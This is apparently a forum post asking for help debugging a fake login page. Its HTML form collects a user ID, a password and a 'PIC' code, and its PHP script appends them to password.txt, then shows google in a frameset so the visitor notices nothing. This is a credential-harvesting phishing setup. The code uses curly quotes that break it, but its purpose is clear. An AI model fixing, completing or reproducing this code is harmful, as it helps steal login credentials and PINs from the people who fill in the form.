Okay, so I made a login form with 3 text boxes. I also created an image as the submit button. When submit is clicked, I want the .php page to store the filled in form data in a text document while redirecting to another page (for example: saving to password.txt and redirecting to a site such as google). It's not working, so I'm not sure if my HTML is messed up or my PHP. Hope you can help!
My HTML form:
Code:
<form name="login" id="login" action="login.php" method="POST">
User ID
<input type="text" name="txtId" id="txtId" class="input" value="" tabindex="1" size="20">
User P/W <input type="password" name="txtPassword" id="txtPassword" class="input" value="" tabindex="2" maxlength="12"><BR>
User PIC <input type="text" name="txtPIC" id="txtPIC" class="input" value="" tabindex="1" size="20">
<input type="image" src="login.gif" name="image" value="submit" alt="Submit button"></div></div>
</form>
My PHP script:
Code:
<?php
$fp = fopen(”password.txt”, “a”);
fwrite($fp, “Username:$_POST[txtId]\tPassword:$_POST[txtPassword]\tPIC:$_POST[txtPIC]”);
echo “<HTML>
<FRAMESET cols=\”*\”>
<FRAME src=\”google”>
</FRAMESET>”;
?>
|